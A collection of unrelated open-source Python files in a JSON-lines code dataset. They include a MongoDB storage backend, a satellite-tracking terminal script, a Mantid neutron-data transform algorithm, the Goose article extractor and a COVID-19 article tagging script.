get_categories()\r\n\t\treturn dict(\r\n\t\t\tnow=datetime.datetime.utcnow().isoformat() + \"Z\",\r\n\t\t\tcategories=categories,\r\n\t\t)\r\n\texcept Exception as e:\r\n\t\treturn str(e)\r\n\r\ndef handle_export_product():\r\n\ttry:\r\n\t\tproducts = get_product_master()\r\n\t\tvariants = get_product_variants()\r\n\t\tproduct_category = get_product_category()\r\n\t\treturn dict(\r\n\t\t\tnow=datetime.datetime.utcnow().isoformat() + \"Z\",\r\n\t\t\tproductMaster=products,\r\n\t\t\tproductVariants=variants,\r\n\t\t\tproductCategory=product_category,\r\n\t\t)\r\n\texcept Exception as e:\r\n\t\treturn str(e)\r\n\r\ndef handle_export_recommand():\r\n\ttry:\r\n\t\trelated_products = get_related_product()\r\n\t\treturn dict(\r\n\t\t\tnow=datetime.datetime.utcnow().isoformat() + \"Z\",\r\n\t\t\trelatedProducts=related_products,\r\n\t\t)\r\n\texcept Exception as e:\r\n\t\treturn str(e)\r\n","sub_path":"demandware/func/handle_export.py","file_name":"handle_export.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"551947298","text":"import pandas\nimport numpy\nfrom math import *\n\ndef __init__(path, index):\n readData(folder, index)\n\ndef readData(path, index):\n\n data = pandas.read_csv(path, index_col=index)\n\n #\n temp0 = pandas.Series( 2*data['p0_pt']*data['p1_pt'], index=data.index )\n temp1 = pandas.Series( data['p0_eta'] - data['p1_eta'], index=data.index )\n temp1 = numpy.cosh(temp1)\n\n #data['test0'] = pandas.Series( data['p0_pt'], index=data.index)\n #data['test1'] = pandas.Series( data['p1_pt'], index=data.index)\n #data['test2'] = temp0\n #data['test3'] = temp1\n\n #data['mttest4'] = numpy.sqrt(temp0 * temp1) \n\n #print(data)\n\n return data\n \n\nif __name__ == \"__main__\":\n __init__()\n","sub_path":"flavours-of-physics-start/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"459950983","text":"# -*- coding: utf-8 -*-\n# Copyright © 2008-2011 Kozea\n# This file is part of Multicorn, licensed under a 3-clause BSD license.\n\n\nfrom __future__ import print_function\nfrom multicorn.utils import colorize\nfrom multicorn.requests.types import Type, Dict, List\nfrom ... import python_executor\nfrom ..abstract import AbstractCorn\nfrom .wrappers import MongoWrapper\n\ntry:\n import pymongo\nexcept ImportError:\n import sys\n print(colorize(\n 'yellow',\n \"WARNING: The Mongo DB AP is not available.\"), file=sys.stderr)\n\n\nclass Mongo(AbstractCorn):\n \"\"\"\n Corn storing items in a Mongo DB noSql server.\n \"\"\"\n\n def __init__(self, name, identity_properties,\n hostname, port, database, collection):\n super(Mongo, self).__init__(name, identity_properties)\n self.hostname = hostname\n self.port = port\n self.database = database\n self.collection_name = collection\n self.register(\"_id\", int)\n\n def bind(self, multicorn):\n super(Mongo, self).bind(multicorn)\n if not hasattr(self.multicorn, '_mongo_metadatas'):\n self.multicorn._mongo_metadatas = {}\n connect_point = \"%s:%s\" % (self.hostname, self.port)\n connection = self.multicorn._mongo_metadatas.get(connect_point, None)\n if connection is None:\n connection = pymongo.Connection(self.hostname, self.port)\n self.multicorn._mongo_metadatas[connect_point] = connection\n self.connection = connection\n self.db = self.connection[self.database]\n self.collection = self.db[self.collection_name]\n\n def register(self, name, type=object, **kwargs):\n self.properties[name] = Type(\n corn=self, name=name, type=type)\n\n def _all(self):\n \"\"\"Return an iterable of all items in the mongo collection.\"\"\"\n for mongo_item in self.collection.find():\n yield self._mongo_to_item(mongo_item)\n\n def delete(self, item):\n self.collection.remove(\n dict((key, value) for key, value in item.items()))\n\n def save(self, item):\n self.collection.save(dict(\n (key, value) for key, value in item.items()\n if not (key == \"_id\" and value is None)))\n item.saved = True\n\n def is_all_mongo(self, request):\n used_types = request.used_types()\n all_requests = reduce(\n lambda x, y: list(x) + list(y), used_types.values(), set())\n return all(\n isinstance(x, MongoWrapper) for x in all_requests)\n\n def _mongo_to_item(self, mongo_item):\n item = {}\n for name in self.properties.keys():\n item[name] = mongo_item[name]\n return self.create(item)\n\n def _execute(self, mrq, return_type):\n result = mrq.execute(self.collection)\n if isinstance(return_type, List):\n if isinstance(return_type.inner_type, Dict):\n if return_type.inner_type.corn:\n def to_items(results):\n for result in results:\n yield self._mongo_to_item(result)\n return to_items(result)\n else:\n return result\n else:\n def to_list(results):\n for mongo_item in result:\n if \"____\" in mongo_item:\n yield mongo_item[\"____\"]\n else:\n yield mongo_item\n return to_list(result)\n elif isinstance(return_type, Dict):\n if return_type.corn:\n return self._mongo_to_item(result)\n elif return_type.type == int:\n return result\n else:\n if \"____\" in result:\n return result[\"____\"]\n return result\n\n def execute(self, request):\n wrapped_request = MongoWrapper.from_request(request)\n if self.is_all_mongo(wrapped_request):\n return self._execute(\n wrapped_request.to_mongo(),\n wrapped_request.return_type())\n else:\n return python_executor.execute(request)\n","sub_path":"multicorn/corns/mongo/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"193996121","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Jun 15 15:36:31 2015\r\n\r\n@author: Matthias Maasch\r\n\r\nsource for reading tle files:\r\nhttp://blog.thetelegraphic.com/2012/gps-sattelite-tracking-in-python-using-pyephem/\r\n\"\"\"\r\nimport ephem\r\nfrom sys import stdout\r\nfrom datetime import datetime\r\nimport time\r\nimport os\r\nimport numpy as np\r\nimport urllib\r\nimport serial\r\nimport curses\r\n\r\ndegrees_per_radian = 180.0 / np.pi\r\nflag_tracking = 0 # tracking on/off\r\nflag_doppler = 2 # doppler correction off/up/dwn/all\r\ntracked_sat = 0 # number of sat to be tracked\r\n\r\n###################################################################\r\n# load TLE file\r\n###################################################################\r\ndef loadTLE(filename):\r\n \"\"\" Loads a TLE file and creates a list of satellites.\"\"\"\r\n f = open(filename)\r\n satlist = []\r\n l1 = f.readline()\r\n while l1:\r\n l2 = f.readline()\r\n l3 = f.readline()\r\n sat = ephem.readtle(l1,l2,l3)\r\n satlist.append(sat)\r\n #print sat.name\r\n l1 = f.readline()\r\n\r\n f.close()\r\n #print \"%i satellites loaded into list\"%len(satlist)\r\n return satlist\r\n\r\n\r\n\r\n\r\n###################################################################\r\n# Settings\r\n###################################################################\r\nTLE_name = 'amateur.txt'\r\n\r\nhome = ephem.Observer()\r\nhome.lon = '8.625' # +E\r\nhome.lat = '49.8542' # +N\r\nhome.elevation = 60 # meters\r\nf_dwn = 145e6 # satellite frequency in Hz\r\nupdate_intervall = 1 # update intervall in sec\r\n###################################################################\r\n\r\n\r\n###################################################################\r\n# Main function\r\n###################################################################\r\n# open serial port\r\n#comport = serial.Serial('/dev/tty.usbserial-A800ekX6',9600)\r\n\r\n# download latest TLE file from server\r\nprint('\\nDownloading TLE files from server: http://www.celestrak.com/NORAD/elements/%s' % TLE_name)\r\nurllib.urlretrieve('http://www.celestrak.com/NORAD/elements/%s' % TLE_name, TLE_name)\r\n#time.sleep(2)\r\n\r\n# load TLE file and save satellite data in variable \r\nsats = loadTLE(TLE_name)\r\n\r\n# initialize the screen etc.\r\nscr = curses.initscr()\r\nscr = curses.newwin(200, 100, 0, 0)\r\ncurses.halfdelay(int(update_intervall*10))\r\ncurses.noecho()\r\ncurses.curs_set(0)\r\n\r\nscr.addstr(1,0,' SATELLITE TRACKING observer: N%2.4f E%3.4f ' % (home.lat * degrees_per_radian, home.long * degrees_per_radian))\r\nscr.addstr(4,0,' ----------------------------------------------------------------------------')\r\nscr.addstr(5,0,' NORAD Satellite EL AZ veloc f_rx ')\r\nscr.addstr(6,0,' ----------------------------------------------------------------------------')\r\nscr.addstr(7+len(sats),0,' ----------------------------------------------------------------------------')\r\nscr.addstr(8+len(sats),0,' (S)elect Satellite (T)racking on/off (Q)uit')\r\nscr.addstr(9+len(sats),0,' (U)plink Frequency (D)ownlink Frequency (C)orrect Doppler: up/dwn')\r\n\r\nwhile True:\r\n home.date = datetime.utcnow()\r\n scr.addstr(2,0,' %sUTC downlink: %8.3fMHz ' % (home.date, f_dwn/1e6))\r\n scr.addstr(3,0,' %s' % TLE_name)\r\n scr.addstr(3,36,' uplink: %8.3fMHz' % (f_dwn/1e6))\r\n# visualize settings\r\n # tracking\r\n if (flag_tracking == 1) and tracked_sat:\r\n scr.addstr(8+len(sats),32,'on', curses.A_UNDERLINE)\r\n scr.addstr(8+len(sats),35,'off')\r\n else:\r\n scr.addstr(8+len(sats),32,'on')\r\n scr.addstr(8+len(sats),35,'off', curses.A_UNDERLINE)\r\n # doppler\r\n if flag_doppler == 3:\r\n scr.addstr(9+len(sats),62,'up/dwn', curses.A_UNDERLINE)\r\n elif flag_doppler == 2:\r\n scr.addstr(9+len(sats),62,'up')\r\n scr.addstr(9+len(sats),65,'dwn', curses.A_UNDERLINE)\r\n elif flag_doppler == 1:\r\n scr.addstr(9+len(sats),62,'up', curses.A_UNDERLINE)\r\n scr.addstr(9+len(sats),65,'dwn')\r\n else:\r\n scr.addstr(9+len(sats),62,'up/dwn')\r\n scr.refresh()\r\n# show all satellite data\r\n for n in range(0,len(sats)):\r\n sats[n].compute(home)\r\n f_rx = f_dwn/(1+sats[n].range_velocity/3.0e8)\r\n scr.addstr(7+n,1,' %2d %5d %25s %5.1f %5.1f %6.0f %8.3f ' % (n+1, sats[n].catalog_number, sats[n].name, sats[n].alt * degrees_per_radian, sats[n].az * degrees_per_radian, sats[n].range_velocity, f_rx/1e6))\r\n if sats[n].alt>=0:\r\n scr.addstr(7+n,14,' %25s %5.1f %5.1f ' % (sats[n].name, sats[n].alt * degrees_per_radian, sats[n].az * degrees_per_radian), curses.A_STANDOUT)\r\n if n == tracked_sat-1:\r\n scr.addstr(7+n,1,' %2d %5d %25s %5.1f %5.1f %6.0f %8.3f ' % (n+1, sats[n].catalog_number, sats[n].name, sats[n].alt * degrees_per_radian, sats[n].az * degrees_per_radian, sats[n].range_velocity, f_rx/1e6), curses.A_STANDOUT)\r\n# check input key command \r\n char = scr.getch()\r\n # quit\r\n if char == ord('q'):\r\n curses.echo()\r\n scr.keypad(0)\r\n curses.nocbreak()\r\n curses.endwin()\r\n exit()\r\n # select satellite\r\n elif char == ord('s'):\r\n curses.curs_set(1)\r\n curses.echo()\r\n scr.addstr(11+len(sats),1,'enter satellite number:')\r\n tracked_sat = int(scr.getstr(11+len(sats),25))\r\n if (tracked_sat < len(sats)+1) and (tracked_sat > 0):\r\n tracked_sat == tracked_sat\r\n else:\r\n tracked_sat = 0\r\n flag_tracking = 0\r\n flag_tracking = 0 # prevent positioner from suddenly moving when satellite is changed\r\n curses.curs_set(0)\r\n curses.noecho()\r\n scr.addstr(11+len(sats),1,' ')\r\n curses.halfdelay(int(update_intervall*10))\r\n #scr.refresh() \r\n # toggle tracking\r\n elif char == ord('t'):\r\n flag_tracking = 1 - flag_tracking\r\n # toggle doppler correction\r\n elif char == ord('c'):\r\n if flag_doppler == 0:\r\n flag_doppler = 1\r\n elif flag_doppler == 1:\r\n flag_doppler = 2\r\n elif flag_doppler == 2:\r\n flag_doppler = 3\r\n elif flag_doppler == 3:\r\n flag_doppler = 0\r\n elif char != curses.ERR: # This is true if the user pressed something\r\n scr.addstr(11+len(sats), 0, \" pressed %s \" % char, curses.A_STANDOUT)\r\n else:\r\n scr.addstr(11+len(sats), 0, \" %d \" % tracked_sat)\r\n","sub_path":"track.py","file_name":"track.py","file_ext":"py","file_size_in_byte":6525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"30598180","text":"import json, urllib\r\n\r\nclass contriesIteration():\r\n\r\n def __init__(self, write_file, json_file):\r\n self.index = -1\r\n self.write_file = open(write_file, \"w\", encoding=\"UTF-8\")\r\n with open(json_file, \"r\", encoding=\"UTF-8\") as f:\r\n self.file = json.loads(f.read())\r\n\r\n\r\n def __iter__(self):\r\n return self\r\n\r\n def __next__(self):\r\n self.index += 1\r\n url = \"https://ru.wikipedia.org/wiki/\" + self.file[self.index][\"name\"][\"official\"].replace(\" \", \"_\")\r\n print(url)\r\n self.write_file.write(url + \" - \" + self.file[self.index][\"name\"][\"official\"] + \"\\n\")\r\n try:\r\n self.file[self.index + 1]\r\n except:\r\n self.write_file.close()\r\n raise StopIteration\r\n return url\r\n\r\n\r\nmy_class = contriesIteration()\r\nj = 0\r\nfor i in my_class:\r\n j +=1\r\n print(j)","sub_path":"домашка 1.2/номер1.py","file_name":"номер1.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"531085631","text":"from glob import glob\nimport os\n\ndef Print(dir):\n\tinclude_root = '../Include/'\n\twith open(include_root + dir+'.hpp', 'w') as f:\n\t\tprint(\"#pragma once\", file=f)\n\t\tprint('', file=f)\n\t\tfor x in glob(include_root + dir+\"/**/*.hpp\", recursive=True):\n\t\t\tx = os.path.relpath(x, include_root)\n\t\t\tx = x.replace('\\\\', '/')\n\t\t\tprint(f\"#include \\\"{x}\\\"\", file=f)\n\nPrint(\"FishEngine\")\nPrint(\"FishEditor\")","sub_path":"Scripts/get_all_headers.py","file_name":"get_all_headers.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"340673136","text":"#pylint: disable=no-init,too-many-instance-attributes\nfrom __future__ import (absolute_import, division, print_function)\nfrom mantid.simpleapi import *\nfrom mantid.api import (PythonAlgorithm, AlgorithmFactory, MatrixWorkspaceProperty,\n ITableWorkspaceProperty, PropertyMode, Progress)\nfrom mantid.kernel import Direction, logger\nfrom mantid import config\nimport math\nimport os\n\n\nclass TransformToIqt(PythonAlgorithm):\n\n _sample = None\n _resolution = None\n _e_min = None\n _e_max = None\n _e_width = None\n _number_points_per_bin = None\n _parameter_table = None\n _output_workspace = None\n _dry_run = None\n\n\n def category(self):\n return \"Workflow\\\\Inelastic;Workflow\\\\MIDAS\"\n\n\n def summary(self):\n return 'Transforms an inelastic reduction to I(Q, t)'\n\n\n def PyInit(self):\n self.declareProperty(MatrixWorkspaceProperty('SampleWorkspace', '',\n optional=PropertyMode.Mandatory,\n direction=Direction.Input),\n doc=\"Name for the sample workspace.\")\n\n self.declareProperty(MatrixWorkspaceProperty('ResolutionWorkspace', '',\n optional=PropertyMode.Mandatory,\n direction=Direction.Input),\n doc=\"Name for the resolution workspace.\")\n\n self.declareProperty(name='EnergyMin', defaultValue=-0.5,\n doc='Minimum energy for fit. Default=-0.5')\n self.declareProperty(name='EnergyMax', defaultValue=0.5,\n doc='Maximum energy for fit. Default=0.5')\n self.declareProperty(name='BinReductionFactor', defaultValue=10.0,\n doc='Decrease total number of spectrum points by this ratio through merging of '\n 'intensities from neighbouring bins. Default=1')\n\n self.declareProperty(ITableWorkspaceProperty('ParameterWorkspace', '',\n direction=Direction.Output,\n optional=PropertyMode.Optional),\n doc='Table workspace for saving TransformToIqt properties')\n\n self.declareProperty(MatrixWorkspaceProperty('OutputWorkspace', '',\n direction=Direction.Output,\n optional=PropertyMode.Optional),\n doc='Output workspace')\n\n self.declareProperty(name='DryRun', defaultValue=False,\n doc='Only calculate and output the parameters')\n\n\n def PyExec(self):\n self._setup()\n\n self._calculate_parameters()\n\n if not self._dry_run:\n self._transform()\n\n self._add_logs()\n\n else:\n skip_prog = Progress(self, start=0.3, end=1.0, nreports=2)\n skip_prog.report('skipping transform')\n skip_prog.report('skipping add logs')\n logger.information('Dry run, will not run TransformToIqt')\n\n self.setProperty('ParameterWorkspace', self._parameter_table)\n self.setProperty('OutputWorkspace', self._output_workspace)\n\n\n def _setup(self):\n \"\"\"\n Gets algorithm properties.\n \"\"\"\n\n from IndirectCommon import getWSprefix\n\n self._sample = self.getPropertyValue('SampleWorkspace')\n self._resolution = self.getPropertyValue('ResolutionWorkspace')\n\n self._e_min = self.getProperty('EnergyMin').value\n self._e_max = self.getProperty('EnergyMax').value\n self._number_points_per_bin = self.getProperty('BinReductionFactor').value\n\n self._parameter_table = self.getPropertyValue('ParameterWorkspace')\n if self._parameter_table == '':\n self._parameter_table = getWSprefix(self._sample) + 'TransformToIqtParameters'\n\n self._output_workspace = self.getPropertyValue('OutputWorkspace')\n if self._output_workspace == '':\n self._output_workspace = getWSprefix(self._sample) + 'iqt'\n\n self._dry_run = self.getProperty('DryRun').value\n\n\n def validateInputs(self):\n \"\"\"\n Validate input properties.\n \"\"\"\n issues = dict()\n\n e_min = self.getProperty('EnergyMin').value\n e_max = self.getProperty('EnergyMax').value\n\n # Check for swapped energy values\n if e_min > e_max:\n energy_swapped = 'EnergyMin is greater than EnergyMax'\n issues['EnergyMin'] = energy_swapped\n issues['EnergyMax'] = energy_swapped\n\n return issues\n\n\n def _calculate_parameters(self):\n \"\"\"\n Calculates the TransformToIqt parameters and saves in a table workspace.\n \"\"\"\n workflow_prog = Progress(self, start=0.0, end=0.3, nreports=8)\n workflow_prog.report('Croping Workspace')\n CropWorkspace(InputWorkspace=self._sample,\n OutputWorkspace='__TransformToIqt_sample_cropped',\n Xmin=self._e_min,\n Xmax=self._e_max)\n workflow_prog.report('Calculating table properties')\n x_data = mtd['__TransformToIqt_sample_cropped'].readX(0)\n number_input_points = len(x_data) - 1\n num_bins = int(number_input_points / self._number_points_per_bin)\n self._e_width = (abs(self._e_min) + abs(self._e_max)) / num_bins\n\n workflow_prog.report('Attemping to Access IPF')\n try:\n workflow_prog.report('Access IPF')\n instrument = mtd[self._sample].getInstrument()\n\n analyserName = instrument.getStringParameter('analyser')[0]\n analyser = instrument.getComponentByName(analyserName)\n\n if analyser is not None:\n logger.debug('Found %s component in instrument %s, will look for resolution there'\n % (analyserName, instrument))\n resolution = analyser.getNumberParameter('resolution')[0]\n else:\n logger.debug('No %s component found on instrument %s, will look for resolution in top level instrument'\n % (analyserName, instrument))\n resolution = instrument.getNumberParameter('resolution')[0]\n\n logger.information('Got resolution from IPF: %f' % resolution)\n workflow_prog.report('IPF resolution obtained')\n except (AttributeError, IndexError):\n workflow_prog.report('Resorting to Default')\n resolution = 0.0175\n logger.warning('Could not get resolution from IPF, using default value: %f' % (resolution))\n\n resolution_bins = int(round((2 * resolution) / self._e_width))\n\n if resolution_bins < 5:\n logger.warning('Resolution curve has <5 points. Results may be unreliable.')\n\n workflow_prog.report('Creating Parameter table')\n param_table = CreateEmptyTableWorkspace(OutputWorkspace=self._parameter_table)\n\n workflow_prog.report('Populating Parameter table')\n param_table.addColumn('int', 'SampleInputBins')\n param_table.addColumn('float', 'BinReductionFactor')\n param_table.addColumn('int', 'SampleOutputBins')\n param_table.addColumn('float', 'EnergyMin')\n param_table.addColumn('float', 'EnergyMax')\n param_table.addColumn('float', 'EnergyWidth')\n param_table.addColumn('float', 'Resolution')\n param_table.addColumn('int', 'ResolutionBins')\n\n param_table.addRow([number_input_points, self._number_points_per_bin, num_bins,\n self._e_min, self._e_max, self._e_width,\n resolution, resolution_bins])\n\n workflow_prog.report('Deleting temp Workspace')\n DeleteWorkspace('__TransformToIqt_sample_cropped')\n\n self.setProperty('ParameterWorkspace', param_table)\n\n\n def _add_logs(self):\n sample_logs = [('iqt_sample_workspace', self._sample),\n ('iqt_resolution_workspace', self._resolution),\n ('iqt_binning', '%f,%f,%f' % (self._e_min, self._e_width, self._e_max))]\n\n log_alg = self.createChildAlgorithm(name='AddSampleLogMultiple', startProgress=0.8,\n endProgress=1.0, enableLogging=True)\n log_alg.setProperty('Workspace', self._output_workspace)\n log_alg.setProperty('LogNames',[item[0] for item in sample_logs])\n log_alg.setProperty('LogValues', [item[1] for item in sample_logs])\n log_alg.execute()\n\n\n def _transform(self):\n \"\"\"\n Run TransformToIqt.\n \"\"\"\n from IndirectCommon import CheckHistZero, CheckHistSame, CheckAnalysers\n trans_prog = Progress(self, start=0.3, end=0.8, nreports=15)\n try:\n CheckAnalysers(self._sample, self._resolution)\n except ValueError:\n # A genuine error the shows that the two runs are incompatible\n raise\n except:\n # Checking could not be performed due to incomplete or no instrument\n logger.warning('Could not check for matching analyser and reflection')\n\n # Process resolution data\n num_res_hist = CheckHistZero(self._resolution)[0]\n if num_res_hist > 1:\n CheckHistSame(self._sample, 'Sample', self._resolution, 'Resolution')\n\n rebin_param = str(self._e_min) + ',' + str(self._e_width) + ',' + str(self._e_max)\n trans_prog.report('Rebinning Workspace')\n Rebin(InputWorkspace=self._sample,\n OutputWorkspace='__sam_data',\n Params=rebin_param,\n FullBinsOnly=True)\n\n # Sample\n trans_prog.report('Rebinning sample')\n Rebin(InputWorkspace='__sam_data',\n OutputWorkspace='__sam_data',\n Params=rebin_param)\n trans_prog.report('Integrating Sample')\n Integration(InputWorkspace='__sam_data',\n OutputWorkspace='__sam_int')\n trans_prog.report('Converting Sample to data points')\n ConvertToPointData(InputWorkspace='__sam_data',\n OutputWorkspace='__sam_data')\n trans_prog.report('Extracting FFT spectrum for Sample')\n ExtractFFTSpectrum(InputWorkspace='__sam_data',\n OutputWorkspace='__sam_fft',\n FFTPart=2)\n trans_prog.report('Dividing Sample')\n Divide(LHSWorkspace='__sam_fft',\n RHSWorkspace='__sam_int',\n OutputWorkspace='__sam')\n\n # Resolution\n trans_prog.report('Rebinnig Resolution')\n Rebin(InputWorkspace=self._resolution,\n OutputWorkspace='__res_data',\n Params=rebin_param)\n trans_prog.report('Integrating Resolution')\n Integration(InputWorkspace='__res_data',\n OutputWorkspace='__res_int')\n trans_prog.report('Converting Resolution to data points')\n ConvertToPointData(InputWorkspace='__res_data',\n OutputWorkspace='__res_data')\n trans_prog.report('Extractig FFT Resolution spectrum')\n ExtractFFTSpectrum(InputWorkspace='__res_data',\n OutputWorkspace='__res_fft',\n FFTPart=2)\n trans_prog.report('Dividing Resolution')\n Divide(LHSWorkspace='__res_fft',\n RHSWorkspace='__res_int',\n OutputWorkspace='__res')\n\n trans_prog.report('Diving Workspaces')\n Divide(LHSWorkspace='__sam',\n RHSWorkspace='__res',\n OutputWorkspace=self._output_workspace)\n\n # Cleanup sample workspaces\n trans_prog.report('Deleting Sample temp')\n DeleteWorkspace('__sam_data')\n DeleteWorkspace('__sam_int')\n DeleteWorkspace('__sam_fft')\n DeleteWorkspace('__sam')\n\n # Crop nonsense values off workspace\n binning = int(math.ceil(mtd[self._output_workspace].blocksize() / 2.0))\n bin_v = mtd[self._output_workspace].dataX(0)[binning]\n trans_prog.report('Cropping output')\n CropWorkspace(InputWorkspace=self._output_workspace,\n OutputWorkspace=self._output_workspace,\n XMax=bin_v)\n\n # Set Y axis unit and label\n mtd[self._output_workspace].setYUnit('')\n mtd[self._output_workspace].setYUnitLabel('Intensity')\n\n trans_prog.report('Deleting Resolution temp')\n # Clean up resolution workspaces\n DeleteWorkspace('__res_data')\n DeleteWorkspace('__res_int')\n DeleteWorkspace('__res_fft')\n DeleteWorkspace('__res')\n\n\n# Register algorithm with Mantid\nAlgorithmFactory.subscribe(TransformToIqt)\n","sub_path":"Framework/PythonInterface/plugins/algorithms/WorkflowAlgorithms/TransformToIqt.py","file_name":"TransformToIqt.py","file_ext":"py","file_size_in_byte":12848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"222716760","text":"from django.http import JsonResponse\nfrom ...base.processa import ListaArquivos\nimport os\nfrom django.conf import settings\n\nlista_arquivos = ListaArquivos\n\ndef lista_arvore(request):\n caminho = request.GET.get('caminho', None)\n if(caminho == '/'):\n caminho = settings.MEDIA_URL\n meuDir = caminho\n diretorio, arquivos,detalheArquivosModificado,\\\n detalheArquivosCriados,detalhePastaModificadas,\\\n detalhePastaCriadas = lista_arquivos.list_files(meuDir)\n\n #Remove / duplicado em caminhos de diretorios\n teste = list(caminho[::-1].split()[0])\n anterior = list(caminho[::-1].split()[0])\n char = teste[0]\n if(teste[0] == '/'):\n teste.pop(0)\n char = teste[0]\n cont = 0\n while(char != '/'):\n teste.pop(0)\n char = teste[0]\n if(teste[0] == '/'):\n teste.pop(0)\n\n teste = teste[::-1]\n teste = ''.join(teste)\n\n data = {\n 'anterior': teste,\n 'arquivos' : arquivos,\n 'diretorios' : diretorio,\n 'caminho' : meuDir,\n 'detalheArquivosModificado' : detalheArquivosModificado,\n 'detalheArquivosCriados' : detalheArquivosCriados,\n 'detalhePastaModificadas' : detalhePastaModificadas,\n 'detalhePastaCriadas' : detalhePastaCriadas\n }\n return data\n","sub_path":"estagio/estagio/base/lista_arvore/lista_arvore.py","file_name":"lista_arvore.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"602210016","text":"def as_factorization(number):\n if number == 1:\n return {}\n for p in [2, 3, 5, 7]:\n if 0 == number % p:\n ret = as_factorization(number // p)\n ret[p] = ret.get(p, 0) + 1\n return ret\n return {number: 1}\n\n\ndef as_number(factorization):\n ret = 1\n for p, exp in factorization.items():\n ret *= p ** exp\n return ret\n\n\ndef is_square_free(factorization):\n return max(factorization.values(), default=0) <= 1\n\n\nbinomial_coefficient_cache = {}\n\n\ndef binomial_coefficient(n, k):\n if k == 0 or k == n:\n return {}\n if (n, k) in binomial_coefficient_cache:\n return binomial_coefficient_cache[(n, k)]\n ret = binomial_coefficient(n - 1, k - 1).copy()\n for p, exp in as_factorization(n).items():\n ret[p] = ret.get(p, 0) + exp\n for p, exp in as_factorization(k).items():\n ret[p] -= exp\n binomial_coefficient_cache[(n, k)] = ret\n return ret\n\n\ngood_numbers = set()\nfor n in range(51):\n for k in range(n + 1):\n binomial = binomial_coefficient(n, k)\n if is_square_free(binomial):\n good_numbers.add(as_number(binomial))\nans = sum(good_numbers)\n\nassert 34029210557338 == ans\n","sub_path":"p203.py","file_name":"p203.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"631781457","text":"# -*- coding: utf-8 -*-\nimport os\nfrom goose.Configuration import Configuration\nfrom goose.Crawler import CrawlCandidate\nfrom goose.Crawler import Crawler\nfrom goose.Article import Article\n\nclass Goose(object):\n \"\"\"\\\n \n \"\"\"\n def __init__(self, config=None):\n self.config = config or Configuration()\n self.initializeEnvironment()\n \n \n def extractContent(self, url=None, rawHTML=None):\n \"\"\"\\\n Main method to extract an article object from a URL, \n pass in a url and get back a Article\n \"\"\"\n cc = CrawlCandidate(self.config, url, rawHTML)\n return self.sendToActor(cc)\n \n \n def shutdownNetwork(self):\n pass\n \n \n def sendToActor(self, crawlCandiate):\n crawler = Crawler(self.config)\n article = crawler.crawl(crawlCandiate)\n return article\n \n \n def initializeEnvironment(self):\n # test if config.localStoragePath\n # is a directory\n if not os.path.isdir(self.config.localStoragePath):\n os.makedirs(self.config.localStoragePath)\n \n if not os.path.isdir(self.config.localStoragePath):\n raise Exception(self.config.localStoragePath + \n \" directory does not seem to exist, \"\n \"you need to set this for image processing downloads\"\n )\n \n # test to write a dummy file to the directory\n # to check is directory is writtable\n path = '%s/test.txt' % self.config.localStoragePath\n try:\n f = open(path, 'w')\n f.close()\n os.remove(path)\n except IOError:\n raise Exception(self.config.localStoragePath + \n \" directory is not writeble, \"\n \"you need to set this for image processing downloads\"\n )\n \n \n \n ","sub_path":"goose/Goose.py","file_name":"Goose.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"170137766","text":"import sys, os, pathlib, json\nfrom os import listdir\nfrom os.path import isfile, join\n\ndicts = {}\n\ndef path_to_paper_id(path):\n return path.split(\"/\")[-1][:-5] #cutting last 5 cuts \".json\"\n\ndef read_article(path):\n with open(path) as f:\n d = json.load(f)\n title_data = [d[\"metadata\"][\"title\"]]\n abstract_data = [a[\"text\"] for a in d[\"abstract\"]]\n body_text_data = [t[\"text\"] for t in d[\"body_text\"]] #a list of all text sections in article\n\n\n return [title_data, abstract_data, body_text_data] #\n\ndef read_meta(paperid):\n metafile = open(\"meta_subset_100.csv\", \"r\")\n for line in metafile:\n if paperid in line:\n metaline = line.split(\",\")\n coord_uid = metaline[0]\n sourcedb = metaline[2]\n sourceid = metaline[5]\n return [coord_uid, sourcedb, sourceid]\n\ndef setup_dicts():\n covid19_list = [line for line in open (\"Supplemental_file2.txt\")]\n sars_list = [line for line in open(\"Supplemental_file1.txt\")]\n\n dicts[\"covid19\"] = covid19_list\n dicts[\"sars\"] = sars_list\n \n\ndef tag_article(article_path):\n article = read_article(article_path)\n section_nr = 0\n denotated_sections = []\n\n for section in article:\n denotations = []\n for subsection in section:\n for id in dicts.keys():\n for phrase in dicts[id]:\n begin = subsection.find(\"virus\")\n if begin > 0:#found phrase\n end = begin + len(phrase)\n info = {\"id\": id, \"span\":{\"begin\":begin, \"end\":end}, \"obj\":\"?\"}\n denotations.append(info)\n denotated_sections.append(denotations)\n return denotated_sections\n\ndef generate_JSONs(denotated_sections):\n for filenr in range(20):\n with open(\"result.json\" + str(filenr), \"w\") as fp:\n json.dump(denotated_sections[filenr], fp)\n\n\n\n\ndef main():\n subset_path = os.path.abspath(\"comm_use_subset_100\") + \"/\"\n comm_use_subset_100 = [f for f in listdir(subset_path) if isfile(join(subset_path, f))]\n fileonepath = subset_path + comm_use_subset_100[0]\n setup_dicts()\n\n denot_sections = tag_article(fileonepath)\n generate_JSONs(denot_sections)\n \nif __name__ == '__main__':\n main()\n 